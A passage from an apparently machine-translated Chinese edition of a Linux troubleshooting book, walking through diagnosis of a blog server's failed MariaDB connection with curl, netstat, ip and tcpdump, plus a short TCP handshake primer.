-从`ping`请求的结果来看,我们的笔记本电脑似乎能够毫无问题地连接到`192.168.33.12`。 - -这个告诉我们什么? 事实上,相当多! 它告诉我们有问题的服务器已经启动; 它还确认存在连接问题,特别是在`blog.example.com`和`db.example.com`之间。 如果问题是由于`db.example.com`服务器关闭或配置错误导致的,那么我们的笔记本电脑也会受到影响。 - -然而,事实并非如此。 实际上恰恰相反; 看起来从我们的笔记本电脑到服务器的连接工作正常。 - -## 使用 cURL 测试端口连通性 - -早些时候,当用`telnet`测试笔记本电脑的 MariaDB 端口时,`telnet`命令正在测试服务器`10.0.0.50`。 但是,根据`/etc/hosts`配置,似乎需要的数据库服务器是`192.168.33.12`。 - -为了验证数据库服务实际上已经启动,我们应该使用`192.168.33.12`地址执行相同的`telnet`测试。 但是,这一次我们将使用`curl`来执行这个测试,而不是使用`telnet`。 - -我见过许多环境(尤其是最近)禁止安装`telnet`客户端,或者默认情况下不执行安装。 对于这样的环境,有一些可以测试端口连接的工具是很重要的。 如果 telnet 不可用,可以使用`curl`命令作为替代。 - -在第三章、*Web 应用故障排除*中,我们使用`curl`命令请求一个 Web 页面。 `curl`命令实际上可以用于许多不同的协议; 在本例中,我们感兴趣的协议是 Telnet 协议。 - -下面是使用笔记本电脑中的`curl`通过端口`3306`建立到`db.example.com`服务器的连接的示例。 - -```sh -[laptop]$ curl -v telnet://192.168.33.12:3306 -* Rebuilt URL to: telnet://192.168.33.12:3306/ -* Hostname was NOT found in DNS cache -* Trying 192.168.33.12... -* Connected to 192.168.33.12 (192.168.33.12) port 3306 (#0) -* RCVD IAC 106 -^C - -``` - -从示例中可以看出,不仅膝上型计算机能够连接到端口`3306`上的服务器,`curl`命令还能够从`RCVD IAC 106`服务接收一条消息。 - -当对 Telnet 测试使用`curl`时,必须使用`–v`(详细)标志将 curl 设置为详细模式。 如果没有详细标志,`curl`只会隐藏连接细节,而连接细节正是我们所寻找的。 - -在前面的例子中,我们可以看到来自笔记本电脑的连接是成功的; 为了进行比较,我们可以使用相同的命令来测试博客服务器的连通性。 - -```sh -[blog]$ curl -v telnet://192.168.33.12:3306 -* About to connect() to 192.168.33.12 port 3306 (#0) -* Trying 192.168.33.12... -* No route to host -* Failed connect to 192.168.33.12:3306; No route to host -* Closing connection 0 -curl: (7) Failed connect to 192.168.33.12:3306; No route to host - -``` - -如所料,连接请求失败。 - -通过以上使用`curl`的测试,我们可以确定数据库服务器正在监听并接受端口`3306`上的连接; 但是,博客服务器无法连接到数据库服务器。 我们不知道的是问题是在博客服务器端还是在数据库服务器端。 要确定连接的哪一边有问题,我们需要查看网络连接的详细信息。 为此,我们将使用两个命令,第一个是`netstat`,第二个是`tcpdump`。 - -## 用 netstat 显示当前的网络连接 - -`netstat`命令是一个非常广泛的工具,可用于对网络问题的许多方面进行故障排除。 在本例中,我们将使用两个基本标志来打印现有的网络连接。 - -```sh -[blog]# netstat -na -Active Internet connections (servers and established) -Proto Recv-Q Send-Q Local Address Foreign Address State -tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:52903 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -tcp 0 0 10.0.2.16:22 10.0.2.2:50322 ESTABLISHED -tcp 0 0 192.168.33.11:22 192.168.33.1:53359 ESTABLISHED -tcp6 0 0 ::1:25 :::* LISTEN -tcp6 0 0 :::57504 :::* LISTEN -tcp6 0 0 :::111 :::* LISTEN -tcp6 0 0 :::80 :::* LISTEN -tcp6 0 0 :::22 :::* LISTEN -udp 0 0 0.0.0.0:5353 0.0.0.0:* -udp 0 0 0.0.0.0:68 0.0.0.0:* -udp 0 0 0.0.0.0:111 0.0.0.0:* -udp 0 0 0.0.0.0:52594 0.0.0.0:* -udp 0 0 127.0.0.1:904 0.0.0.0:* -udp 0 0 0.0.0.0:49853 0.0.0.0:* -udp 0 0 0.0.0.0:53449 0.0.0.0:* -udp 0 0 0.0.0.0:719 0.0.0.0:* -udp6 0 0 :::54762 :::* -udp6 0 0 :::58674 :::* -udp6 0 0 :::111 :::* -udp6 0 0 :::719 :::* -raw6 0 0 :::58 :::* - -``` - -在前面的例子中,我们执行与`–n``netstat`命令(dns)国旗,这告诉`netstat`不查找 IPs 的 dns 主机名或端口号翻译服务名称,和`–a`(全部)标志告诉`netstat`打印倾听和 non-listening 套接字。 - -这些标志具有`netstat`的效果,显示应用绑定的所有网络连接和端口。 - -示例`netstat`命令显示了相当多的信息。 为了更好地理解这个信息,让我们更好地检查一下输出。 - -```sh -Proto Recv-Q Send-Q Local Address Foreign Address State -tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - -``` - -`netstat`的输出分为 6 列,第 1 列是**Proto**,显示套接字协议。 在上面的代码片段中,套接字使用 TCP 协议。 - -第二列**Recv-Q**是应用通过使用此套接字所接收但未复制的字节计数。 这基本上是内核从网络接收数据到应用接受数据之间等待的字节数。 - -第三列**Send-Q**是发送但未被远程主机确认的字节数。 基本上,数据已经发送到远程主机,但本地主机还没有收到远程主机对该数据的接受。 - -第四列是**本地地址**,这是用于套接字的本地服务器地址。 我们的代码片段显示本地主机地址为`127.0.0.1`,端口为`25`。 - -第五栏是**国外地址**或远端地址。 本专栏列出了远程服务器的 IP 和端口。 由于我们前面使用的示例类型,它被列出为 IP`0.0.0.0`和端口`*`,这是一个通配符,表示任何内容。 - -第六列,也就是最后一列,是状态**套接字。 对于 TCP 连接,状态将告诉我们 TCP 连接的当前状态。 在前面的例子中,状态被列出为`LISTEN`; 这告诉我们,列出的套接字用于接受 TCP 连接。** - - **如果我们将所有列放在一起,这一行告诉我们,我们的服务器正在通过 IP`127.0.0.1`监听端口`25`上的新连接,并且它是基于 tcp 的连接。 - -### 使用 netstat 来监视新连接 - -现在我们对的输出有了进一步的了解,我们可以使用它来查找从应用服务器到数据库服务器的新连接。 为了使用`netstat`来观察新的连接,我们将使用一个经常被忽略的特性`netstat`。 - -与`vmstat`命令类似,可以将`netstat`置于连续模式中,这将每隔几秒打印相同的输出。 要做到这一点,只需将间隔放在命令的末尾。 - -在下面的例子中,我们将使用相同的`netstat`标志,间隔为`5`s; 然而,我们还将管道输出到`grep`,并使用`grep`过滤端口`3306`。 - -```sh -[blog]# netstat -na 5 | grep 3306 -tcp 0 1 192.168.33.11:59492 192.168.33.12:3306 SYN_SENT -tcp 0 1 192.168.33.11:59493 192.168.33.12:3306 SYN_SENT -tcp 0 1 192.168.33.11:59494 192.168.33.12:3306 SYN_SENT - -``` - -除了运行`netstat`命令之外,我们还可以在浏览器中导航到`blog.example.com`地址。 我们可以这样做来强制 web 应用尝试连接到数据库。 - -通常,web 应用有两种类型的到数据库的连接,一种是持久连接(它们总是与数据库保持连接),另一种是非持久连接(它们只在需要时建立)。 因为我们不知道这个 WordPress 安装使用的是哪种类型,所以这种类型的故障排除假设是非持久的会更安全。 这意味着,为了触发数据库连接,必须有到 WordPress 应用的流量。 - -从`netstat`的输出中,我们可以看到对数据库的连接尝试,而且不仅仅是对任何数据库的连接尝试,而是对`192.168.33.12`上的数据库服务的连接尝试。 此信息确认,当 web 应用试图建立连接时,它使用的是来自`hosts`文件的 IP,而不是来自 DNS。 在此之前,我们怀疑这是基于`telnet`和`ping`的情况,但没有来自应用的证明。 - -然而,一个有趣的事实是,`netstat`输出显示 TCP 连接处于`SYN_SENT`状态。 这个`SYN_SENT`状态是第一次建立网络连接时使用的状态。 `netstat`命令可以打印多种不同的连接状态; 每一个都告诉我们连接在流程中的哪个位置。 此信息对于确定网络连接问题的根本原因非常关键。 - -### netstat 状态分解 - -在深入讨论之前,我们应该快速看一下不同的`netstat`状态及其含义。 以下是`netstat`使用的状态的完整列表: - -* `ESTABLISHED`:连接已建立,可用于数据传输 -* `SYN_SENT`:TCP 套接字正在尝试建立到远程主机的连接 -* `SYN_RECV`:从远端主机收到 TCP 连接请求 -* `FIN_WAIT1`:TCP 连接正在关闭 -* `FIN_WAIT2`:TCP 正在等待远端主机关闭连接 -* `TIME_WAIT`:套接字在关闭后等待任何未完成的网络数据包 -* `CLOSE`:插座不再使用 -* `CLOSE_WAIT`:对端已关闭连接,本地套接字正在关闭 -* `LAST_ACK`:远端已启动关闭连接,本地系统正在等待最终确认 -* `LISTEN`:套接字正在被用来监听传入的连接 -* `CLOSING`:本端和远端套接字都关闭,但并不是所有的数据都已发送 -* `UNKNOWN`:用于未知状态的插座 - -从上面的列表中,我们可以确定应用到数据库的连接不会成为`ESTABLISHED`。 这意味着应用服务器以`SYN_SENT`状态启动连接,但它永远不会转换到下一个状态。 - -## 使用 tcpdump 抓取网络流量 - -为了更好地理解网络流量,我们将使用第二个命令,它允许我们查看网络流量的详细信息——`tcpdump`。 这里,`netstat`命令用来打印 socket 的状态; `tcpdump`命令用于创建“`dumps`”或“`traces`”的网络流量。 这些转储允许用户查看捕获的网络流量的所有方面。 - -使用`tcpdump`,可以查看完整的 TCP 信息包细节,从信息包头到正在传输的实际数据。 它不仅可以捕获该数据,而且`tcpdump`还可以将捕获的数据写入文件。 将数据写入文件后,可以保存或移动数据,然后使用`tcpdump`命令或其他网络数据包分析工具(如`wireshark`)读取数据。 - -下面是运行`tcpdump`来捕获网络流量的简单示例。 - -```sh -[blog]# tcpdump -nvvv -tcpdump: listening on enp0s3, link-type EN10MB (Ethernet), capture size 65535 bytes -16:18:04.125881 IP (tos 0x10, ttl 64, id 20361, offset 0, flags [DF], proto TCP (6), length 156) - 10.0.2.16.ssh > 10.0.2.2.52618: Flags [P.], cksum 0x189f (incorrect -> 0x62a4), seq 3643405490:3643405606, ack 245510335, win 26280, length 116 -16:18:04.126203 IP (tos 0x0, ttl 64, id 9942, offset 0, flags [none], proto TCP (6), length 40) - 10.0.2.2.52618 > 10.0.2.16.ssh: Flags [.], cksum 0xbc71 (correct), seq 1, ack 116, win 65535, length 0 -16:18:05.128497 IP (tos 0x10, ttl 64, id 20362, offset 0, flags [DF], proto TCP (6), length 332) - 10.0.2.16.ssh > 10.0.2.2.52618: Flags [P.], cksum 0x194f (incorrect -> 0xecc9), seq 116:408, ack 1, win 26280, length 292 -16:18:05.128784 IP (tos 0x0, ttl 64, id 9943, offset 0, flags [none], proto TCP (6), length 40) - 10.0.2.2.52618 > 10.0.2.16.ssh: Flags [.], cksum 0xbb4d (correct), seq 1, ack 408, win 65535, length 0 -16:18:06.129934 IP (tos 0x10, ttl 64, id 20363, offset 0, flags [DF], proto TCP (6), length 156) - 10.0.2.16.ssh > 10.0.2.2.52618: Flags [P.], cksum 0x189f (incorrect -> 0x41d5), seq 408:524, ack 1, win 26280, length 116 -16:18:06.130441 IP (tos 0x0, ttl 64, id 9944, offset 0, flags [none], proto TCP (6), length 40) - 10.0.2.2.52618 > 10.0.2.16.ssh: Flags [.], cksum 0xbad9 (correct), seq 1, ack 524, win 65535, length 0 -16:18:07.131131 IP (tos 0x10, ttl 64, id 20364, offset 0, flags [DF], proto TCP (6), length 140) - -``` - -在前面的示例中,我为`tcpdump`命令提供了几个标志。 第一个标志`–n`(没有 dns)告诉`tcpdump`不要查找它找到的任何 ip 的主机名。 其余的标志`–vvv`(详细)告诉`tcpdump`要非常“非常”详细。 `tcpdump`命令有三个冗长的级别; 添加到命令行中的每一个`–v`都会增加所使用的冗长级别。 在前面的示例中,`tcpdump`处于最冗长的模式。 - -前面的示例是运行`tcpdump`的最简单方法之一; 然而,它并没有捕获我们所需要的流量。 - -### 查看服务器的网络接口 - -当在具有多个网络接口的系统上执行`tcpdump`时,除非定义了一个接口,否则命令将选择编号最低的接口来连接。 在上例中,选择的接口为`enp0s3`; 但是,这可能不是用于数据库连接的接口。 - -在使用`tcpdump`来调查我们的网络连接问题之前,我们首先需要确定用于此连接的网络接口; 为此,我们将使用`ip`命令。 - -```sh -[blog]# ip link show -1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000 - link/ether 08:00:27:20:5d:4b brd ff:ff:ff:ff:ff:ff -3: enp0s8: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000 - link/ether 08:00:27:7f:fd:54 brd ff:ff:ff:ff:ff:ff - -``` - -在高层,`ip`命令允许用户打印、修改和添加网络配置。 在上面的示例中,我们告诉`ip`命令使用`show links`参数“显示”所有可用的“链接”。 所显示的链接实际上是为该服务器定义的网络接口。 - -#### 什么是网络接口? - -当谈论物理服务器时,网络接口通常是物理以太网端口的表示。 如果我们假设前面示例中使用的机器是一台物理机器,我们可以假设`enp0s3`和`enp0s8`链路是物理设备。 然而,在现实中,上述机器是一个虚拟机。 这意味着这些设备在逻辑上连接到这个虚拟机; 然而,这台机器的内核不知道,甚至不需要知道区别。 - -例如,在本书中,除了“`lo`”或环回接口外,大多数接口都直接与物理(或虚拟物理)网络设备相关。 但是,也可以创建虚拟接口,这允许您创建多个接口,这些接口连接回单个物理接口。 通常,这些接口使用“`:`”或“`.`”作为与原始设备名称的分隔符。 如果我们要为`enp0s8`创建一个虚拟接口,它将与`enp0s8:1`类似。 - -#### 查看设备配置 - -从`ip`命令的输出中,我们可以看到定义了三个网络接口。 在知道数据库连接使用哪个接口之前,我们首先需要更好地理解这些接口。 - -```sh -1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT - -``` - -`lo`或 loopback 接口是列表中的第一个接口。 任何长期在 Linux 或 Unix 上工作的人都会非常熟悉环回接口。 环回接口被设计为给系统的用户一个本地网络地址,该地址只能用于连接回本地系统。 - -这个特殊的接口允许位于同一服务器上的应用通过 TCP/IP 进行交互,而不必向更广泛的网络公开它们的外部连接。 它还允许这些应用在没有网络数据包离开本地服务器的情况下进行交互,从而使其成为一个非常快速的网络连接。 - -传统上,loopback 接口 IP 称为`127.0.0.1`。 然而,就像本书中的其他内容一样,我们将首先验证这些信息,然后再假设它是真实的。 我们可以使用`ip`命令来显示 loopback 接口定义的地址。 - -```sh -[blog]# ip addr show lo -1: lo: mtu 65536 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - valid_lft forever preferred_lft forever - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever - -``` - -在前面显示可用接口的示例中,使用了“`link show`”选项; 为了显示 IP 地址,可以使用“`addr show`”选项。 用于打印项的`ip`命令的语法始终遵循相同的模式。 - -前面的例子还指定了我们感兴趣的设备的名称; 这将限制输出到指定的设备。 如果我们在前面的命令中省略设备名,它将简单地打印所有设备的 IP 地址。 - -那么,关于 lo 接口,上面告诉了我们什么? 它告诉我们的一件事是`lo`接口正在监听 IPv4 地址 127.0.0.1; 我们可以在下面一行看到。 - -```sh - inet 127.0.0.1/8 scope host lo - -``` - -这意味着,如果我们想通过环回接口连接到这个主机,我们可以通过目标`127.0.0.1`来实现。 然而,`ip`命令还显示了在该接口上定义的第二个 IP。 - -```sh - inet6 ::1/128 scope host - -``` - -这说明`::1`的 IPv6 地址也绑定到了 lo 接口上。 该地址与`127.0.0.1`的目的相同,但它是为`IPv6`通信而设计的。 - -根据以上来自`ip`命令的信息,我们可以看到`lo`或环回接口是按照预期定义的。 - -该服务器上定义的第二个接口是`enp0s3`; 与 lo 不同的是,这个设备要么是一个物理设备,要么是一个虚拟的物理接口。 前面执行的`ip`link show 命令已经告诉了我们关于这个接口的很多信息。 - -```sh -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000 - link/ether 08:00:27:20:5d:4b brd ff:ff:ff:ff:ff:ff - -``` - -从前面的代码片段中,我们可以确定以下内容: - -* 设备处于**up**状态:`state UP` -* MTU 大小为**1500**:`mtu 1500` -* MAC 地址为**08:00:27:20:5d:4b**:`link/ether 08:00:27:20:5d:4b` - -从这些信息中,我们知道接口已经启动并能够被利用。 我们还知道 MTU 大小被设置为默认值 1500,我们可以很容易地识别 MAC 地址。 虽然 MTU 大小和 MAC 地址可能与这个问题不是特别相关,但它们在其他情况下可能非常有用。 - -但是,对于当前标识用于数据库连接的接口的任务,我们需要标识哪些 ip 绑定到该接口。 - -```sh -[blog]# ip addr show enp0s3 -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:20:5d:4b brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic enp0s3 - valid_lft 49655sec preferred_lft 49655sec - inet6 fe80::a00:27ff:fe20:5d4b/64 scope link - valid_lft forever preferred_lft forever - -``` - -从上面的输出可以看出,`enp0s3`接口既在收听`10.0.2.15`(`inet 10.0.2.15/24`)的 IPv4 IP,也在收听`f380::a00:27ff:fe20:5d4b`(`inet6 fe80::a00:27ff:fe20:5d4b/64`)的 IPv6 IP。 这是否告诉我们到`192.168.33.12`的连接要经过这个接口? 不,但这也不意味着他们不知道。 - -这告诉我们的是,`enp0s3`接口用于连接到`10.0.2.15/24`网络。 该网络可能无法路由到`192.168.33.12`的地址; 在做出这个决定之前,我们应该首先检查下一个接口的配置。 - -本系统的第三个接口是`enp0s8`; 它也是一个物理的或虚拟的网络设备,从`ip`link show 命令提供的信息可以看出,它具有与`enp0s3`相似的配置。 - -```sh -3: enp0s8: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000 - link/ether 08:00:27:7f:fd:54 brd ff:ff:ff:ff:ff:ff - -``` - -从这个输出中,我们可以看到`enp0s8`接口也处于“`UP`”状态,并且默认 MTU 为 1500。 我们还可以确定这个接口的 MAC 地址,这在此时不是特别需要; 然而,它以后可能会变得有用。 - -但是,如果我们看一下在这个服务器上定义的 ip,就会发现它与`enp0s3`设备上定义的 ip 有很大的不同。 - -```sh -[blog]# ip addr show enp0s8 -3: enp0s8: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:7f:fd:54 brd ff:ff:ff:ff:ff:ff - inet 192.168.33.11/24 brd 192.168.33.255 scope global enp0s8 - valid_lft forever preferred_lft forever - inet6 fe80::a00:27ff:fe7f:fd54/64 scope link - valid_lft forever preferred_lft forever - -``` - -可以看到`enp0s8`接口正在监听`192.168.33.11`(`inet 192.168.33.11/24`)的 IPv4 地址和`fe80::a00:27ff:fe7f:fd54`(`inet6 fe80::a00:27ff:fe7f:fd54/64`)的 IPv6 地址。 - -这是否意味着`enp0s8`接口用于连接`192.168.33.12`? 嗯,事实上,可能是这样。 - -`enp0s8`定义的子网为`192.168.33.11/24`,即该接口连接到 IP 范围为`192.168.33.0`到`192.168.33.255`的设备网络。 由于数据库服务器的`IP 192.168.33.12`在这个范围内,因此很有可能通过`enp0s8`接口与此地址通信。 - -此时,我们可以“怀疑”`enp0s8`的接口用于与数据库服务器的通信。 虽然可以将此接口配置为与包含`192.168.33.12`的子网通信,但完全可以通过使用定义的路由强制通过另一个接口进行通信。 - -为了检查是否定义了路由并强制通过另一个接口进行通信,我们将再次使用`ip`命令。 然而,对于这个任务,我们将为`ip`命令使用“`route get`”选项。 - -```sh -[blog]# ip route get 192.168.33.12 -192.168.33.12 dev enp0s8 src 192.168.33.11 - cache - -``` - -当使用“`route get`”参数执行时,`ip`命令将具体输出用于路由到指定 IP 的接口。 - -从前面的输出,我们可以看到,`blog.example.com`服务器实际上是使用`enp0s8`接口路由到 192.168.33.12 地址,即`db.example.com`的 IP。 - -此时,我们不仅使用了`ip`命令来确定此服务器上存在哪些网络接口,而且还使用了它来确定网络包将使用哪个接口来到达目标主机。 - -`ip`命令是一个非常有用的工具,最近已被指定用来取代`ifconfig`和`route`等较旧的命令。 如果您通常熟悉使用`ifconfig`之类的命令,但不熟悉`ip`命令,那么最好检查一下上面介绍的用法,因为最终`ifconfig`命令将被弃用。 - -### 指定 tcpdump 的接口 - -现在我们已经确定了用于与`db.example.com`通信的接口,我们可以使用`tcpdump`开始我们的网络跟踪。 如前所述,我们将使用-`nvvv`标志将`tcpdump`设置为非常“非常”详细模式,而不进行主机名解析。 然而,这一次我们将指定`tcpdump`从`enp0s8`接口捕获网络流量; 我们可以使用`-i`(interface)标志来实现这一点。 我们还将使用`-w`(write)标志将捕获的数据写入文件。 - -```sh -[blog]# tcpdump -nvvv -i enp0s8 -w /var/tmp/chapter5.pcap -tcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 65535 bytes -48 packets captured - -``` - -当我们第一次执行`tcpdump`命令时,我们在屏幕上收到了相当多的输出。 当被告知将其输出保存到一个文件时,`tcpdump`将不会将捕获的数据输出到屏幕上,而是连续显示一个捕获数据包的计数器。 - -一旦我们将`tcpdump`捕获的数据保存到文件中,我们需要复制该问题以尝试生成数据库流量。 我们将使用与使用`netstat`命令相同的方法:在 web 浏览器中简单地导航到`blog.example.com`。 - -当我们导航到 WordPress 站点时,我们应该看到`packets captured`计数器增加; 这表示`tcpdump`已经看到流量并捕获了它。 一旦计数器达到一个合理的数字,我们可以停止`tcpdump`捕获。 为此,只需在命令行上按下*Ctrl*+*C*; 一旦停止,我们应该会看到类似如下的消息: - -```sh -^C48 packets captured -48 packets received by filter -0 packets dropped by kernel - -``` - -### 读取捕获数据 - -现在我们已经将捕获`network trace`保存到一个文件中,我们可以使用这个文件来调查数据库流量。 将这些数据保存在文件中的好处是,我们可以多次读取这些数据,并通过过滤器迭代来减少输出。 此外,当针对实时网络流运行`tcpdump`时,我们可能只捕获一次流量,但不会再次捕获。 - -为了读取保存的数据,可以运行带有`–r`(read)标志的`tcpdump`,后面跟着要读取的文件名。 - -我们可以使用以下命令来打印我们捕获的所有`48`数据包的包头信息。 - -```sh -[blog]# tcpdump -nvvv -r /var/tmp/chapter5.pcap - -``` - -然而,这个命令的输出可能相当庞大; 为了抓住问题的核心,我们需要缩小`tcpdump`的输出范围。 为此,我们将使用 tcpdump 的能力来对捕获的数据应用过滤器。 特别地,我们将使用“`host`”过滤器将输出过滤到特定的 IP 地址。 - -```sh -[blog]# tcpdump -nvvv -r /var/tmp/chapter5.pcap host 192.168.33.12 -reading from file /var/tmp/chapter5.pcap, link-type EN10MB (Ethernet) -03:33:05.569739 IP (tos 0x0, ttl 64, id 26591, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], cksum 0xc396 (incorrect -> 0x3543), seq 3937874058, win 14600, options [mss 1460,sackOK,TS val 53696341 ecr 0,nop,wscale 6], length 0 -03:33:06.573145 IP (tos 0x0, ttl 64, id 26592, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], cksum 0xc396 (incorrect -> 0x3157), seq 3937874058, win 14600, options [mss 1460,sackOK,TS val 53697345 ecr 0,nop,wscale 6], length 0 -03:33:08.580122 IP (tos 0x0, ttl 64, id 26593, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], cksum 0xc396 (incorrect -> 0x2980), seq 3937874058, win 14600, options [mss 1460,sackOK,TS val 53699352 ecr 0,nop,wscale 6], length 0 - -``` - -通过在`tcpdump`命令后面加上`host 192.168.33.12`,过滤出的流量只与主机 192.168.33.12 相关。 这是通过`host`过滤器实现的。 `tcpdump`命令有许多可用的过滤器; 然而,在本章中,我们将主要使用主机过滤器。 我强烈建议定期对网络问题进行故障排除的人熟悉`tcpdump`过滤器。 - -当运行`tcpdump`(以相同的方式)时,必须知道每一行都是通过指定接口发送或接收的数据包。 下面的示例是一条完整的`tcpdump`线,它本质上是通过`enp0s8`接口的一个包。 - -```sh -03:33:05.569739 IP (tos 0x0, ttl 64, id 26591, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], cksum 0xc396 (incorrect -> 0x3543), seq 3937874058, win 14600, options [mss 1460,sackOK,TS val 53696341 ecr 0,nop,wscale 6], length 0 - -``` - -如果我们看一下前面的行,我们可以看到这个包正在从`192.168.33.11`发送到`192.168.33.12`。 我们可以从以下部分看到这一点: - -```sh -192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S] - -``` - -事实上,在整行之外,上面的代码片段中的细节是我们开始理解这个问题所需要的一切。 我们可以从前面的片段中识别出这个特定的数据包是从`192.168.33.11`发送到`192.168.33.12`的。 我们可以通过这个代码片段中的第一个和第二个 ip 来识别它。 因为`192.168.33.11`是第一个 IP,所以它是数据包的来源,然后第二个 IP(`192.168.33.12`)就是目的地。 - -```sh -192.168.33.11.37785 > 192.168.33.12.mysql - -``` - -我们还可以从这个片段中看到,`192.168.33.11`的连接是从本地端口`37785`到远程端口`3306`。 我们可以推断这是因为源地址中的第五个点是`37785`,而“`mysql`”在目标地址中。 `tcpdump`打印“`mysql`”的原因是,默认情况下,它将公共服务端口映射到它们的公共名称。 在本例中,它将端口`3306`映射到`mysql`并简单地打印`mysql`。 可以在命令行中通过使用`tcpdump`命令的两个`–n`标志(即`-nn`)来关闭此功能。 - -本节告诉我们的第三项重要内容是正在发送的包是一个`SYN`包。 我们可以通过代码片段的`Flags [S]`部分来识别这一点。 `tcpdump`输出中的每一行都有一个`flags`段。 当在报文上设置的标志仅为`S`时,这意味着该报文是初始的`SYN`报文。 - -这个包是一个`SYN`包这一事实实际上告诉了我们很多关于这个包的信息。 - -### TCP 快速入门 - -**传输控制协议**(**TCP**)是最常用的基于 internet 的通信协议之一。 它是我们每天依赖的许多服务所选择的协议。 从用于加载网页的 HTTP 协议到所有 Linux 系统管理员最喜欢的`SSH`,这些协议都是在 TCP 协议之上实现的。 - -虽然 TCP 被广泛使用,但它也是一个相当高级的主题,每个系统管理员至少应该对这个主题有一个基本的了解。 在本节中,我们将快速介绍一些 TCP 基础知识; 这决不是一个广泛的指南,但只是足够了解我们的问题的根源。 - -要理解我们的问题,我们必须首先了解 TCP 连接是如何建立的。 对于 TCP 通信,通常有两个重要的方面,即客户机和服务器。 客户端是连接的发起者,将发送一个`SYN`包作为建立 TCP 连接的第一步。 - -当服务器接收到一个`SYN`报文并愿意接受连接时,它将发送一个**Synchronize Acknowledgement**(**SYN-ACK**)报文返回给客户端。 这是为了让服务器确认它已经收到了原始的`SYN`数据包。 - -当客户端接收到这个`SYN-ACK`报文时,它就用`ACK`(有时也称为`SYN-ACK-ACK`)响应服务器。 这个包背后的思想是让客户机确认它已经收到了服务器的确认。 - -这个过程被称为*三次握手*,是 TCP 的基础。 这种方法的好处在于,由于每个系统都承认它接收到的数据包,因此不存在客户机和服务器是否能够来回通信的问题。 一旦执行了三次握手,连接将移动到建立状态。 这是可以使用其他类型的包的地方,例如**Push**(**PSH**)包,用于将信息从客户机传输到服务器,反之亦然。 - -#### TCP 报文类型 - -谈到额外的类型的信息包,重要的是要知道,定义一个信息包是`SYN`信息包还是`ACK`信息包的组件只是在信息包头中设置的一个标志。 - -在我们捕获数据的第一个包上,只有`SYN`标志被设置; 这就是为什么我们会看到像`Flags [S]`这样的输出。 这是一个发送的第一个包的例子,该包只设置了`SYN`标志。 - -`SYN-ACK`报文是设置了`SYN`和`ACK`标志的报文。 这通常被看作是`tcpdump`中的`[S.]`。 - -下表是在使用`tcpdump`进行故障排除活动期间常见的包标志。 这绝不是一个完整的列表,但它确实给出了常见包类型的一般概念。 - -* `SYN- [S]`:同步报文,客户端发送给服务器的第一个报文。 -* `SYN-ACK- [S.]`:同步确认报文; 这些包标志用于指示服务器接收到客户端的`SYN`请求。 -* `ACK- [.]`:服务器和客户端都使用确认报文来确认收到的报文。 在初始的`SYN`报文发送后,所有后续的报文都应该设置确认标志。 -* `PSH- [P]`:这是推送报文。 将缓冲后的网络数据推送到接收端。 这是实际传输数据的数据包类型。 -* `PSH-ACK- [P.]`:推送确认报文用于确认之前的报文,同时向接收方发送数据。 -* `FIN- [F]`:`FIN`或 Finish 数据包用来告诉服务器没有更多的数据,可以关闭已建立的连接。 -* `FIN-ACK- [F.]`:完成确认报文用于确认上一个完成报文已经收到。 -* `RST- [R]`:当源系统希望复位连接时,使用 Reset 报文。 通常,这是由于错误或目标端口实际上没有处于侦听状态。 -* `RST-ACK -[R.]`:复位确认报文用于确认收到上一个复位报文。 - -现在我们已经研究了不同类型的包,让我们将它们结合在一起,快速回顾一下前面捕获的数据。 - -```sh -[blog]# tcpdump -nvvv -r /var/tmp/chapter5.pcap host 192.168.33.12 -reading from file /var/tmp/chapter5.pcap, link-type EN10MB (Ethernet) -03:33:05.569739 IP (tos 0x0, ttl 64, id 26591, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], cksum 0xc396 (incorrect -> 0x3543), seq 3937874058, win 14600, options [mss 1460,sackOK,TS val 53696341 ecr 0,nop,wscale 6], length 0 -03:33:06.573145 IP (tos 0x0, ttl 64, id 26592, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], cksum 0xc396 (incorrect -> 0x3157), seq 3937874058, win 14600, options [mss 1460,sackOK,TS val 53697345 ecr 0,nop,wscale 6], length 0 -03:33:08.580122 IP (tos 0x0, ttl 64, id 26593, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], cksum 0xc396 (incorrect -> 0x2980), seq 3937874058, win 14600, options [mss 1460,sackOK,TS val 53699352 ecr 0,nop,wscale 6], length 0 -If we look at just the IP addresses and the flags from the captured data, from each line, it becomes very clear what the issue is. -192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], -192.168.33.11.37785 > 192.168.33.12.mysql: Flags [S], -192.168.33.11.37785 > 192.168.33.12.mysql: 